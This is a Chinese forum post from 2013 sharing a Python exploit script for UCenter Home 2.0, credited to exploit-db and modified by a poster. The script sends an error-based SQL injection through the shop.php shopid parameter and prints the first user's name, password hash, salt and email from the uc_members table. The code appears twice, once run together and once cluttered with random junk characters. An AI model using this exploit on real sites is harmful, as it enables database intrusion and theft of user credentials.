找回密码
 立即注册
查看: 2629|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl" }1 I" }# K6 z0 n& q9 g: ?
- n" R0 r6 z: q9 u
& o* G2 ^9 {: M) Z
#!/usr/bin/env python  $ M8 s" T( q0 D

5 v8 J) q. o/ [import sys  , V! m) X# Z0 Y% E* n& o) c
import urllib2  7 j6 |( \9 P1 b5 @( x7 T
import re  $ Z% }6 T( w1 _# t+ \3 f: s# S
, W8 D/ K7 |" g3 _
def info():  $ V+ Z' Q4 u" l4 |* V5 R
    print 'From:http://www.exploit-db.com/exploits/14997/'
( a/ f7 g# [/ D3 D1 Z    print 'http://www.hake.cc/Web_loudong/' 3 j" n2 w( K" |$ S2 ^8 ~
    print 'changed:qiaoy'  - i& _5 ~2 e  D2 B( i) D0 [
    print 'exp:'  
" \3 \" r; V+ I% L: ~    print ' ./UCenter_Home_2.0.py site'  
1 e& u) H7 z/ G: a ' H" ]/ m6 ^3 u6 Y/ p; G. z  L
def main():  7 E4 K- K' `5 I, I: J, b& v; x  T
    if len(sys.argv) != 2:  3 h( f  K/ o: B  A& C" o% U% `
        info()  7 a/ u5 }3 v) W; S0 Q! k% |
    else:  
5 H$ v8 s, c$ m2 h# ~4 G- Y& ~        site = sys.argv[1]  
2 u6 i/ ^% V) {2 a, g        if site[0:7] == 'http://':  
3 c" T6 ^; ?' {( E            sitesite =site  ; x7 s" s7 X9 p+ {
        elif site[0:8] == 'https://':  
( H5 L0 k8 \& X" h5 x2 k7 X3 t+ D            sitesite = site  
% s0 u  H/ B0 h( |        else:  
5 i( ?* Y- J; c5 B% ?            site = 'http://'+site  $ o9 K% ^" g1 ]& ]  Q: [3 L) ~
        try:  
: O; W/ B, u0 B# X            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  2 y2 d; D, I( ]3 Y9 }4 k' U7 D, _: K
            Value = urllib2.urlopen(url).read()  
1 C5 Y% n( N% F( _            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
; H- }. D4 h1 @& |            hacked = Msg.split(':')  
- Q* p1 ^9 i6 H            print 'Name:    '+hacked[1]  6 g4 k; b5 H7 ]' f0 [) S
            print 'Passwd:  '+hacked[2]  ' |& Q. n* j; u* q- F
            print 'salt:    '+hacked[3]  3 A( E, I  [; Y0 w$ [! J' ~9 Z
            print 'email:   '+hacked[4]  
+ g0 M  n+ y0 [7 y- T        except:  5 [, b9 b" |6 g0 s
            print 'Sorry,I can\'t work............'  " F! L: ^! o5 ]: O8 m

( H" b! G: e4 Lif __name__ == '__main__':  
) X  Q" ~6 z+ v& T. N& {    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表